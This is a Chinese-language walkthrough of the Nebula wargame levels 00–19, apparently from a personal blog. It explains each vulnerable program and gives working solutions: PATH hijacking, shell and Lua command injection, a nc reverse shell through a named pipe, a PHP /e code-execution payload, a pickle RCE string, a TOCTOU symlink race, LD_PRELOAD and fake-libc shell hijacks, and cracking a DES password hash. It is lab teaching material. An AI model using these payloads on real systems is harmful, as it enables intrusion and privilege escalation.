這個一題的目的是找到一個suid
的文件,已經提示了是看find
的文檔,很簡單。用find
的-perm
選項便可。php
level00@nebula$ find / -perm -4000 > res.txt
查找完成後會看到一個/bin/.../flag00
,運行後便可。html
level00@nebula$ /bin/.../flag00 flag00@nebula$ getflag
給了一個程序的源碼,讓咱們繼續利用的suid去執行某些東西。python
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
分析源碼,能夠看到最後調用了system("/usr/bin/env echo and now what?");
,env
這個東西是從環境變量的PATH
裏去尋找echo
的路徑並執行的。可是環境變量有個特色,就是按照順序從左向右尋找,例如:PATH=/path1:/path2
,那麼查找echo
的時候,會先從path1
開始尋找。linux
因此咱們只要在全部的PATH
以前加上一個能夠控制的目錄,並在裏面放個echo
,運行這個程序的時候就會執行咱們的程序了。shell
level01@nebula$ PATH=/tmp:$PATH level01@nebula$ export PATH level01@nebula$ echo $PATH
這樣就把/tmp
加入了PATH
了最左邊的位置。而後就能夠在/tmp
下面新建一個echo
文件,作猥瑣的事情了。安全
level01@nebula$ ln -s /bin/bash /tmp/echo level01@nebula$ ./flag01
可是這樣是不行的,由於bash
把後面的內容看成了命令,天然是提示找不到命令。我經過了一個技巧繞過了這個限制,在/tmp
下面新建一個文件echo
,寫入以下內容便可:bash
#!/bin/bash /bin/bash
運行試試cookie
level01@nebula$ ./flag01 flag01@nebula$ getflag
依然是給了一段代碼:less
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
通讀代碼,發現仍是這個環境變量的問題,比較簡單,只要設置USER
變量爲'a;bash;'
便可。dom
level02@nebula$ USER='a;bash;' level02@nebula$ ./flag02 flag02@nebula$ getflag
這個沒有給源碼,只是告訴咱們有個crontab
文件,進去看一下,發現writable.d
目錄是可寫的,旁邊還有個sh
文件,大意是運行writable.d
文件夾下全部的文件。這樣一來就簡單了,新建一個getflag.sh
,寫入以下內容:
#!/bin/bash /bin/getflag > /tmp/xxx.out
等一會就運行了,而後去cat /tmp/xxx.out,發現已經成功了。
PS:這些題目的flag判斷是以目標帳戶執行程序爲標準,只要使用目標帳戶執行了getflag,就算成功。
這個題給了咱們一個程序的源碼,讓咱們去繞過限制,讀取token
文件的內容。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
通讀代碼,發現作了兩個檢測,一個是參數的數量,另外一個就是文件名中是否包含token
字符串,很明顯能夠發現這個題的point
在如何繞過這個文件名的問題,使用軟連接就能夠啦!
level04@nebula$ ln -s /home/flag04/token /tmp/abc level04@nebula$ ./flag04 /tmp/abc
看題意應該是權限的問題,咱們到系統裏看一下。
發現/home/flag05
下面有兩個隱藏的目錄,分別是.ssh
和.backup
,可是.ssh是由於權限問題進不去的。但是.backup
目錄卻能夠進入,把裏面的tgz
文件複製到本身的home
目錄下,解壓發現了公鑰之類的一些東西,ssh
登錄127.0.0.1
就能夠了。
level05@nebula$ ls -al /home/flag05 level05@nebula$ cp .backup/backup<tab> ~/ level05@nebula$ tar xf backup<tab> level05@nebula$ ssh flag05@127.0.0.1 flag05@nebula$ getflag
只有一句我也看不太懂的話:The flag06 account credentials came from a legacy unix system.
先登錄進去看看。找了一圈啥也沒有,無心間翻到了/etc/passwd中,發現了flag06這個用戶的密碼存儲方式比較奇葩
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
直接丟給john the ripper
去破解,秒破。
# root at lightless-kali in ~ [22:09:08] $ john password Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16]) hello (flag06) guesses: 1 time: 0:00:00:00 DONE (Mon Aug 3 22:09:14 2015) c/s: 48972 trying: 123456 - nutmegs Use the "--show" option to display all of the cracked passwords reliably # root at lightless-kali in ~ [22:09:14] $ cat password flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
剩下的事情就不用多說了。
Ps:作完以後,想明白了題目的含義了,舊版本的unix
系統密碼不都是這麼存的嘛,因此說came from a legacy unix system
呀。
一個perl
程序,用於ping
檢測的,第一想到的就是命令注入,先看看源碼吧。
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
能夠看到,程序接收一個Host
參數。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=localhost"
這樣會返回正常的結果,想辦法彈個shell
回來,或者開個端口本身連上去,應該就是flag07
用戶了。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || nc -vv -l 8888;"
這樣確實能夠,可是並無編譯-e
參數,意料之中,不少linux
的發行版考慮到安全問題都去掉了-e
參數,即沒有指定GAPING_SECURITY_HOLE
常量。可是能夠繞過的,須要一點技巧。
首先如今本地進行監聽(切換到其餘的tty去),依然選擇回彈shell
的方式進行攻擊。
nc -lnvp 8888
攻擊思路是這樣的:先建立一個管道,而後將shell
的環境的輸入重定向給管道,而後把輸出經過nc重定向到攻擊者的一端,而後將shell的執行結果再重定向到管道中,這麼說可能有些混亂,咱們看一下代碼。
mknod /tmp/backpipe p /bin/bash 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe
而後咱們把這裏兩條合起來加到咱們的payload
中。
wget -O- "http://127.0.0.1:7007/index.cgi?Host=127.0.0 || mknod /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 127.0.0.1 8888 1>/tmp/backpipe"
這樣一來,shell成功的彈了回來
level07@nebula$ nc -vv -l 8888 Connection from 127.0.0.1 port 8888 [tcp/*] accepted whoami flag07 getflag You have successfully executed getflag on a target account
給了個pcap文件,從流量中分析出些什麼猥瑣的東西。
丟到wireshark
裏,發現大概共100個數據包,只有兩個IP,直接跟蹤TCP流,看到了些有趣的東西。
..%..%..&..... ..#..'..$..&..... ..#..'..$.. .....#.....'........... .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm.........."........!........"..".....b........b.....B. ..............................1.......!.."......"......!..........."........".."................ ..................... Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10) ..wwwbugs login: l.le.ev.ve.el.l8.8 .. Password: backdoor...00Rm8.ate . .. Login incorrect wwwbugs login:
看起來好像數據包不完整,用那個密碼也不能登錄成功。換成十六進制看看。
000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord: 000000B9 62 b 000000BA 61 a 000000BB 63 c 000000BC 6b k 000000BD 64 d 000000BE 6f o 000000BF 6f o 000000C0 72 r 000000C1 7f . 000000C2 7f . 000000C3 7f . 000000C4 30 0 000000C5 30 0 000000C6 52 R 000000C7 6d m 000000C8 38 8 000000C9 7f . 000000CA 61 a 000000CB 74 t 000000CC 65 e 000000CD 0d .
問題一會兒就出來了,0x7f
怎麼會是一個點號呢,查了一下發現是backspace
,也就是退格鍵,試試咱們的新密碼吧:backd00Rmate
,後面的事情就不用多說了。
居然給了世界上最好的語言。
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
還有個setuid的C程序,不過從源碼中發現了在使用preg_replace
的時候用到了/e,這個參數已經在PHP5.5以上被廢棄了。對於構造這樣的payload,應該比較容易了。這裏的代碼也比較容易構造。
[email {${phpinfo()}}]
成功執行,至於你要問爲啥,請移步:http://php.net/manual/en/language.types.string.php#language.types.string.parsing
繼續構造執行命令的payload。
[email {${system("getflag")}}]
結果發現雙引號被轉義了,執行不了。可是函數還有個$use_me參數,應當算做提示吧。
[email {${system($use_me)}}]
最終結果以下:
$ cat /tmp/aa.txt [email {${system($use_me)}}] $ ./flag09 /tmp/aa.txt getflag
完成了。
題目作到這裏就變得有趣起來了。
這個題給了一個C程序的源碼,通讀下來,是一個上傳文件的程序,使用了access()
作了限制,經過限制後就會經過socket
把文件內容傳輸過去。
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
若是對*nix
不熟悉的同窗,可能以爲這代碼沒啥問題。但實際上這是個TOCTTOU(Time of check to time of use)
的bug
。在分析前咱們先弄明白兩個東西,分別是Effective user ID
和Real user ID
。
ruid
的做用是Identify the real user
,而euid
的做用是Decides access level
。若是還不明白的同窗請參考https://en.wikipedia.org/wiki/User_identifier#Real_user_ID
而這裏的access()
檢查的是ruid
,在access()
檢查和使用open()
打開文件之間的這段時間裏,咱們徹底能夠替代掉打開的文件爲token
,由於咱們已經經過了檢查。也就是說,用一個有權限的文件去繞過access
的限制,以後立刻把文件替換成沒有權限的token
,由於已經通過了檢查,因此程序能夠毫無阻礙的打開沒有權限的token
文件。(在這個題中沒有訪問token
文件的權限,而flag
就在token
中)
如今來解這個題,首先咱們須要一個循環腳原本不停的作連接來替換文件。/tmp/aaa
咱們是有權限access
的,而token
則沒有,因此要不停的替換,讓access
的時候傳入token
,而後就替換成token
文件。
while true; do ln -sf /home/flag10/token /tmp/ttt ln -sf /tmp/aaa /tmp/ttt done
接着把nc跑起來本地監聽18211端口,接下來再寫個循環不停的運行目標程序吧,剩下的事情就是看臉了。
while true; do /home/flag10/flag10 /tmp/ttt 10.211.55.2 done
而後看到了nc那邊的輸出,獲得了token文件的內容。後面的事情就不用說了。
這題有點意思了,給了源碼,題目說有兩種方式完成本題。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
一樣的也是先通讀源碼,一開始須要輸入Content-Length:
加一個整數,若是小於1024
的話,會繼續調用fread()
,若是大於或等於1024
的話,就會隨機打開一個隨機的文件描述符,而後把content
的內容複製到這個文件中,而後把這個文件中的內容讀入內存中緊接着執行process()
函數,能夠看到無論如何最終都會調用process()
函數,這個函數是一個十分簡單的解密函數。
void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); }
不是很難,很容易寫出反解的腳本。
#!/usr/bin/env python2 cmd = 'getflag\x00' length = 1024 key = length & 0xff res = "" for i in range(len(cmd)): enc = (ord(cmd[i]) ^ key) & 0xff res += chr(enc) key = (key - ord(cmd[i])) & 0xff print "Content-Length: " + str(length) + "\n" + res + "A"*(length - len(res))
須要注意的就是在命令的最後須要本身手動加個null
字節進行截斷。源程序中還須要一個TEMP
的環境變量,設置一下。
$ export TEMP=/tmp
這樣就完成了,可是題目說有兩種解法,再回過頭來仔細看看,發現了一個bug
,不知道是手抖仍是故意的。
if(fread(buf, length, 1, stdin) != length) {
這一行代碼,看起來沒啥問題,咱們看一下fread
的函數原型。
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream); The function fread() reads nmemb elements of data, each size bytes long, from the stream pointed to by stream, storing them at the loca‐ tion given by ptr. fread() and fwrite() return the number of items successfully read or written (i.e., not the number of characters).
看完就明白了,這個fread
總會返回1,因此咱們必須輸入Content-Length: 1
,才能知足這個條件。
咱們試一下:
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $'y@z': command not found level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $'yp5': command not found
發現每次都是隨機的,可是有時候會出現這樣的狀況:
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 sh: $ y: command not found
恰好出現了一個y,那咱們新建一個腳本,名字爲y,仍是用PATH
順序的方法讓他優先執行咱們的腳本。
level11@nebula:/tmp$ cat /tmp/y #!/bin/bash /bin/bash level11@nebula:/tmp$ echo -ne "Content-Length: 1\nx" | /home/flag11/flag11 getflag is executing on a non-flag account, this doesn't count
爲啥不算數,我以爲算數了啊,這明顯是setuid
的程序經過system
調用的呀,迷。
一段lua
腳本,題目描述是一個backdoor
,監聽在50001
端口。
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
先把那串hash
丟到CMD5
裏去解一下,發現解不開,看了這個題的point
不在這裏。
仔細讀源碼的話就會發現命令注入,在prog = io.popen("echo "..password.." | sha1sum", "r")
,沒有過濾就代入了,直接構造payload就行了,比較簡單。
Password: 123;getflag;#
然而沒輸出成功的消息,試試重定向:
Password: 123;getflag > /tmp/123;# $ cat /tmp/123
成功了。
這個題一樣給了一個源碼,是經過getuid()
進行檢查的,若是不等於1000
就退出。固然計算token的過程被略去了。
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
通讀代碼,這時候有幾個思路但是嘗試下:
IDA
裏找到計算token
的過程,可是這麼玩就沒意思了。getuid
的判斷結果改成當前用戶的uid
。hook getuid
這個函數,讓其返回1000
,從而繞過判斷。咱們一個一個來分析,先說第一個,縱然是最簡單的,不費吹灰之力就獲得了token
,只是把一串密文與0x5a
進行了異或操做。
第二個方法也比較簡單,沒啥好說的。
咱們來看看第三個方法,劫持掉getuid()
函數。可能實現起來比較麻煩,可是能夠經過環境變量LD_PRELOAD
來使事情變得簡單。LD_PRELOAD
能夠影響程序運行時的連接,這個變量容許你定義在程序運行時優先加載的動態連接庫。
因而咱們寫一個程序mygetuid.c,內容以下:
#include <sys/types.h> uid_t getuid(void) {return 1000;}
而後把它編譯成so庫文件: gcc -shared -fPIC mygetuid.c -o mygetuid.so
,接下來設置LD_PRELOAD
變量。
$ LD_PRELOAD="/home/level13/mygetuid.so" $ export LD_PRELOAD $ ./flag13
成功。這裏須要注意一點,須要將/home/flag13/flag13
複製到/home/level13/
下面運行才能夠,由於須要flag13
和這個so
文件的ruid
是同樣的才能夠。
這題目看着有點像密碼學系列,這個程序會把輸入加密,而且將密文輸出,咱們要作的是把加密過的token解開。
這題要麼拿去逆一下,要麼試試有沒有規律輸出。
輸入aaaaaaa
輸出abcdefg
,看起來好像只是簡單的遞增關係,第0個位置加0,第1個位置加1,以此類推,這樣很快就能寫出解密腳本。
#!/usr/bin/env python2 token = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW." cnt = 0 res = "" for i in token: res += chr(ord(i) - cnt) cnt += 1 print res
這個題,直接讓我用strace
了,那就照作吧。結果發現這貨在/var/tmp/flag15
這個位置尋找libc.so.6
,結果確定找不到的。應該是在編譯的時候指定了選項,由於正常狀況下是會搜索/lib
和/usr/lib
兩個路徑,若是都未找到,按照/etc/ld.so.conf
裏面的配置進行絕對路徑的查找。固然能夠經過環境變量LD_LIBRARY_PATH
進行指定,可是這個變量是全局影響,顯然這題應該不是這麼作的。
ld
關於這部分的選項主要有三個,分別是-L
、-rpath-link
和-rpath
,其中前兩個都是在連接的時候用到的,而-rpath
則是運行的時候去尋找的,對於這部分不熟悉的同窗,請參考題目給出的參考連接。
經過objdump -p flag15
命令,確實看到了指定了rpath
,是/var/tmp/flag15
,同時發現須要GLIBC_2.0
版本,因而在這裏弄一個libc
試試。(RPATH
和LD_PRELOAD
的區別請自行百度,與setuid
有關。)
既然能夠丟入本身的libc
庫,直接劫持掉__libc_start_main()
吧,可是首先咱們要解決掉版本問題。新建一個shell.c
,就寫入下面這一行代碼。
#include <stdlib.h>
進行編譯:
$ gcc -fPIC -shared shell.c -o libc.so.6
運行flag15
後提示no version information
。那麼寫個version
信息試試。
新建一個文件version
,寫入如下內容:
GLIBC_2.0{};
而後進行編譯:
$ gcc -fPIC -shared -Wl,--version-script=version shell.c -o libc.so.6
繼續運行flag15
,結果提示No version GLIBC_2.1.3 not found
,多是指向了其餘的GLIBC
,靜態編譯吧。
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic shell.c -o libc.so.6
OK,版本問題解決了,如今是提示找不到__libc_start_main
了,這個好辦,咱們本身寫一個。繼續修改shell.c
,代碼以下:
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { char *file = SHELL; char *argv[] = {SHELL,0}; setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); }
同時version
文件也要改一下:
GLIBC_2.0{ global:__libc_start_main; local: *; };
編譯:
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6
運行,得到了flag15
的shell
,搞定。
又給了一個perl
腳本,代碼:
#!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
據說又有命令注入:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
很明顯,username
處存在命令注入,要麼彈個shell
回來,要麼直接執行命令。這裏對用戶名進行了限制,會將其轉換成大寫,而且去掉第一個空格以後的任何內容。
對於第一個限制,可使用Case modification
進行繞過。http://wiki.bash-hackers.org/syntax/pe#case_modification
對於第二個限制,能夠採起以下方式
"</dev/null;pwnvar=/tmp/ttt;${pwnvar,,};#
在/tmp/ttt
中寫入:
#!/bin/sh /bin/getflag > /tmp/aaa
把payload
代入username
便可。後來發現,這樣的payload
也是能夠的:
`/*/MYSHELL`
其中MYSHELL
是一個shell
腳本。
此次給了個python
腳本。
#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
一眼就發現了關鍵點,pickle.loads(line)
。應該是在反序列化的時候出現了問題,致使能夠執行任意代碼。以前個人博客也提到過:http://lightless.me/archives/Python-Pickle-Code-Execute.html
可是在這裏彷佛比較麻煩,須要本身構造序列化之後的東西,固然利用類的__reduce__
方法也能夠。
cos system (S'getflag > /tmp/res' tR.
把這些內容保存到a.txt
,而後經過nc
發送過去,具體怎麼發送都無所謂了。
給了C源碼,有三種方式過關,難度遞增。代碼太長就不貼出來了。
不過這個題有點難度,棧溢出的話須要繞過棧stack canaries
,格式化字符串漏洞須要繞過FORTIFY_SOURCE
,能夠看一下這篇文章:http://phrack.org/issues/67/9.html
感受最簡單的方法就是耗盡系統資源,關於這個題的解答能夠看這裏:http://v0ids3curity.blogspot.com/2012/09/exploit-exercise-improper-file-handling.html
看完18再來看這個簡直是酸爽啊,忽然以爲好幸福。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
這個題也是要突破這個程序,通讀下來,發現這個程序的流程是首先獲取父進程的PID
,而後再根據這個PID
到/proc
下面找對應的文件夾,若是這個文件夾是屬於root
的,就能夠執行shell
了。
可是在*nix
中涉及到一個父子進程的問題,就是若是父進程死了,那麼子進程就變成了孤兒進程,而後init
會把這個孤兒進程做爲本身的子進程,而init
則是由root
啓動的,這樣就能夠突破限制了。這代碼是從網上找了一份,拿來改了改。
#include <unistd.h> int main(int argc, char **argv, char **envp) { int childPID = fork(); if(childPID >= 0) { // forked if(childPID == 0) { // child sleep(1); setresuid(geteuid(),geteuid(),geteuid()); char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL}; execve("/home/flag19/flag19", args, envp); } } return 0; }
終於通關了,腦洞大開,各類黑魔法。